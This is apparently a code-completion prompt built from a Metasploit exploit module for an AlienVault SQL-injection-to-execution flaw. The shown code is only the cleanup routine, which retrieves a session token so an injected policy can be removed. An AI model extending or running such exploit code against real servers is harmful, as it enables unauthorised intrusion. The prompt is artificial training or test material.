You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: alienvault_sqli_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/http
    
    the code of the file until where you have to start completion: ##
# This modu
    
  def cleanup
    begin
      # Clean up, retrieve token so that the policy can be removed
      print_status("Cleaning up")
      res = send_request_cgi({
       'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, "ossim", "session", "token.php"),
        'cookie' => @cookie,
        'vars_post'   => { 'f_name' => 'delete_policy' }
      })

      if res && res.code == 200 && res.body =~ /\{\"status\":\"OK\",\"data\":\"(.*)\"\}/
        token = $1
        print_status("Token [ #{token} ] retrieved")
      else
        print_warning("Unable to retrieve token")
      end
